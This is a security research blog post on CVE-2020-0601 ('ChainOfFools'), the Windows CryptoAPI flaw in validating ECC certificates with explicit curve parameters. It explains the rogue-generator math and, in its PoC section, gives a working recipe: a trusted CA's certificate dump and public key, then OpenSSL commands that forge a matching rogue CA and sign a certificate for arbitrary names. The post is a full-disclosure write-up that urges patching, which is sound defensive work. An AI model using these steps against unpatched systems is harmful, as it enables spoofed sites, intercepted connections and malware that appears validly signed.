On Tuesday the 14th of January 2020, in the frame of their first Patch Tuesday of 2020, Microsoft addressed a critical flaw discovered by the NSA in the Windows 10, Windows Server 2016 and 2019 versions of crypt32.dll, the library implementing Windows’ CryptoAPI. It didn’t take too long until it got branded “ChainOfFools” by Kenn White in a blog post.
Let us explain the flaw, and demonstrate it with a POC, which we provide along with a test website and all the code to reproduce it at home.
As usual in the cryptographic community, where flaws can be far-reaching, we practice full disclosure and released our PoC on our Github page.
Microsoft published the following information regarding the vulnerability:
> A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates.
>
> An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider.
>
> A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software.
While this remains relatively vague, we can gather some more intel from the [CERT website](https://kb.cert.org/vuls/id/849224/):
> As a result, an attacker may be able to craft a certificate that appears to have the ability to be traced to a trusted root certificate authority.
>
> Any software, including third-party non-Microsoft software, that relies on the Windows [CertGetCertificateChain()](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-certgetcertificatechain) function to determine if an X.509 certificate can be traced to a trusted root CA may incorrectly determine the trustworthiness of a [certificate chain](https://docs.microsoft.com/en-us/windows/win32/seccrypto/certificate-chains).
>
> Microsoft Windows versions that support certificates with ECC keys that specify parameters are affected.
And last but not least, we’ve got a “[Cybersecurity Advisory” from the NSA](https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF) themselves! And this advisory is much more detailed, and notably mentions that:
> Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate
And this is extremely interesting! This led us to believe that it might be possible to craft certificates using ECC and explicit parameters that do not fully match a standard curves!
## Mandatory recall
In ECDSA, the private key ![k](https://s0.wp.com/latex.php?latex=k&bg=dddddd&fg=303030&s=0) is a large integer, while the public key ![P_{k}](https://s0.wp.com/latex.php?latex=P_%7Bk%7D&bg=dddddd&fg=303030&s=0) is a point on the elliptic curve ![\mathrm{E}](https://s0.wp.com/latex.php?latex=%5Cmathrm%7BE%7D&bg=dddddd&fg=303030&s=0) derived from ![k](https://s0.wp.com/latex.php?latex=k&bg=dddddd&fg=303030&s=0) by computing ![P_k=k\cdot G](https://s0.wp.com/latex.php?latex=P_k%3Dk%5Ccdot+G&bg=dddddd&fg=303030&s=0), for ![G](https://s0.wp.com/latex.php?latex=G&bg=dddddd&fg=303030&s=0) a generator of the curve with large prime order ![n](https://s0.wp.com/latex.php?latex=n&bg=dddddd&fg=303030&s=0) (which is generally standardized along with the curve you’re using).
## Root cause
So, the idea here is that there is some flaw in the way the certificates are loaded when explicit curve parameters are specified in the provided certificates. Many people discussed the topic and everyone ended agreeing on what the vulnerability had to be. [Thomas Ptacek did a good summary of it on Hackernews.](https://news.ycombinator.com/item?id=22048619) But don’t worry I’ll explain it again below.
Specifically, it is possible to craft a private key for an existing certificate by working with another generator than the standard one by using these explicit parameters to set it. Because then the CryptoAPI seems to match the certificate with the one it has in cache without checking that the provided generator actually matches the standardized one, it will actually trust the certificate as if it had been correctly signed. (Although not entirely, as the system still detects that the root certificate is not the same as the one in the root CA store. That is: you won’t get these nice green locks you all wanted in your URL bar, but you’ll still get a lock without any warning, unlike when using a self-signed certificate, even if you just crafted that certificate yourself.)
And it so happens that it is super easy to compute a fake generator for which we would know the private key corresponding to the public key of a given CA! Indeed it is sufficient to take the existing certificate, with its public key ![P_k](https://s0.wp.com/latex.php?latex=P_k&bg=dddddd&fg=303030&s=0), and its unknown secret key ![k](https://s0.wp.com/latex.php?latex=k&bg=dddddd&fg=303030&s=0). We have that ![k\cdot G = P_k](https://s0.wp.com/latex.php?latex=k%5Ccdot+G+%3D+P_k&bg=dddddd&fg=303030&s=0). Now let us take some random value ![x](https://s0.wp.com/latex.php?latex=x&bg=dddddd&fg=303030&s=0), and we set ![G' = x^{-1}P_k](https://s0.wp.com/latex.php?latex=G%27+%3D+x%5E%7B-1%7DP_k&bg=dddddd&fg=303030&s=0). Then, we have that the newly crafted secret key ![x](https://s0.wp.com/latex.php?latex=x&bg=dddddd&fg=303030&s=0) is a valid secret key for the public key ![P_k](https://s0.wp.com/latex.php?latex=P_k&bg=dddddd&fg=303030&s=0) when using the new generator ![G'](https://s0.wp.com/latex.php?latex=G%27&bg=dddddd&fg=303030&s=0), since we have that : ![x \cdot x^{-1}P_k = 1P_k = P_k](https://s0.wp.com/latex.php?latex=x+%5Ccdot+x%5E%7B-1%7DP_k+%3D+1P_k+%3D+P_k&bg=dddddd&fg=303030&s=0).
And this will effectively allow us to trick the Microsoft CryptoAPI into believing that we actually know the secret key to some CA certificate, whereas we actually one know the secret key for it when using a different generator than the standardized one!
## PoC||GTFO
Now, that’s just the theory, right? But how can we be sure this is actually the problem behind the CVE-2020-0601? Well… Because we’ve got a proof of concept working!
First things first, you’ll need to find some target certificate that’s in Windows’ Trusted Root CA and that’s using ECC! Well, we took a look and found that the USERTrust ECC Certificate Authority has a certificate using the named curve P384! That seems like a good candidate.
So, we [download the certificate](http://www.tbs-x509.com/USERTrustECCCertificationAuthority.crt) and now we need to get its public key, which can easily be done using `openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout` directly, which gives us:
```
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26
Signature Algorithm: ecdsa-with-SHA384
Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
Validity
Not Before: Feb 1 00:00:00 2010 GMT
Not After : Jan 18 23:59:59 2038 GMT
Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
32:7f:8a:34:e3:79:79
ASN1 OID: secp384r1
NIST CURVE: P-384
X509v3 extensions:
X509v3 Subject Key Identifier:
3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A
X509v3 Key Usage: critical
Certificate Sign, CRL Sign
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: ecdsa-with-SHA384
30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1:
63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d:
fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31:
00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5:
83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a:
46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18
```
Now, the part we want it obviously the “pub” value, but beware of ASN.1 encoding! The 04 in the front tell us it is simply the two coordinates of the point, so we can remove it and we now know that the point ![P_k](https://s0.wp.com/latex.php?latex=P_k&bg=dddddd&fg=303030&s=0) is actually (0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221, 0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979).
Now, we want to take a more or less random value ![x](https://s0.wp.com/latex.php?latex=x&bg=dddddd&fg=303030&s=0) (we could have taken 1, and then the generator would have been the public key itself, but to demonstrate all the computations required, let us have a big ![x](https://s0.wp.com/latex.php?latex=x&bg=dddddd&fg=303030&s=0), so we chose ![x= 2^{-1}](https://s0.wp.com/latex.php?latex=x%3D+2%5E%7B-1%7D&bg=dddddd&fg=303030&s=0)). Then we compute our rogue generator, which is ![G' = 2 P_k](https://s0.wp.com/latex.php?latex=G%27+%3D+2+P_k&bg=dddddd&fg=303030&s=0) (since we chose our private key as the inverse of 2). Notice that the inverse is taken modulo ![n](https://s0.wp.com/latex.php?latex=n&bg=dddddd&fg=303030&s=0), the order of the curve.
Next, we just need to generate a pem file featuring explicit curve parameters, and using the rogue generator along with our chosen private key. This can be done by creating firstly a template pem file with `openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit` and then by editing it using Python’s Crypto.IO PEM module. (See [the PoC code](https://github.com/kudelskisecurity/chainoffools/blob/master/gen-key.py#L21) for details.)
The next step is then to generate a rogue CA public file matching the serial of the real one, but using our newly crafted p384-key-rogue.pem file:
``openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26``
with the parameters that you want, you can reuse the ones from the original CA certificate if you don’t care: “C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority”.
Now, we just need to produce the certificate that we want to use in the wild! We first generate a brand new cert, just like you would usually:
`openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem`
Then we can produce a Certificate Signing Request as we would usually:
`openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr` (using an openssl.cnf config file that you can find in the repo.)
And finally we can sign the CSR using our rogue CA and obtain our final public certificate:
`openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf`
Et voilà!
**We have been able to sign a certificate with arbitrary domain name and subject alternative names**, and it will be recognized by Windows’ CryptoAPI as being a trusted certificate! (As long as the root certificate was loaded once already, so that it is in the certificate cache.)
![](https://images.seebug.org/1579177402150-w331s)
You can try it out on our demo website, if you want to see it. (Notice this is not a Man-in-the-Middle demonstration, but rather a demo that you can have a certificate that will work under Internet Explorer, Microsoft Edge and even Chrome, and that this certificate can have arbitrary subject alternative names.)
[Thanks to ](https://twitter.com/CiPHPerCoder/status/1217559735089713153?s=20)[Scott Arciszewski](https://twitter.com/CiPHPerCoder) for his hint to get certificates that would bypass CT log checks in Chrome!
## Public test
- Use a vulnerable browser on a vulnerable Windows 10 device
- First open the USERTrust Certification authority demo website to have their certificate in your cache: <https://usertrustecccertificationauthority-ev.comodoca.com/>
- Next simply open the [https://chainoffools.wouaib.ch](https://chainoffools.wouaib.ch/) website!
- If the website loads and you can read “Hello World!”, it means your browser and system are vulnerable. Otherwise, you should get a warning telling you how the website is evil. (Notice that if your network is protected by a WAF, it might be blocking the certificate already and that certain antivirus are reacting to such crafted certificates already.)
## Conclusion
Also, notice that the vulnerability might not be as scary as we could have thought initially, as it appears that Windows Updates are signed using RSA certificates rather than ECC-based ones, and that their RSA certificate chain is pinned in the Windows Update binary . This means that Windows Updates are not at risk of being victim of a Man-in-the-Middle attack. It seems Microsoft added these countermeasure after FLAME abused a Microsoft certificate to hijack Windows Update and use it to spread.
We have setup [a public Github repository with the Python code](https://github.com/kudelskisecurity/chainoffools) and the OpenSSL command lines and configuration file: <https://github.com/kudelskisecurity/chainoffools>
In the end, please keep in mind that such a vulnerability is not at risk of being exploited by script kiddies or ransomware. While it is still a big problem because it could have allowed a Man-in-the-Middle attack against any website, you would need to face an adversary that owns the network on which you operate, which is possible for nation-state adversaries, but less so for a script kiddie. This is why we are releasing this PoC, the exploitability of this vulnerability is not good enough to lead to a sudden ransomware threat (unlike the one we had with Wannacry). This is also probably why the NSA decided not to weaponize their finding, but to rather disclose it: for them it is best to have the USA patched rather than to keep it and take the risk of it being used against the USA, as the attack surface is so vast.
Also, please note that other exploits are in the wild, and [Saleem Rashid already demonstrated a MitM attack against Github.com](https://twitter.com/saleemrash1d/status/1217495681230954506?s=20)using it after [demonstrating a fake signature of the 7zip binary](https://twitter.com/matthew_d_green/status/1217246161440051200?s=20).
Please, do patch your system as soon as possible!
Other good read on the topic:
- [Kenn White’s blog post on the topic](https://blog.lessonslearned.org/chain-of-fools/)
- [The NSA advisory](https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF)
- [The initial thoughts of Thomas P. and Thomas P.](https://news.ycombinator.com/item?id=22048619)
*Kudelski Security’s Slyvain Pelissier contributed to this blog post.*
暂无评论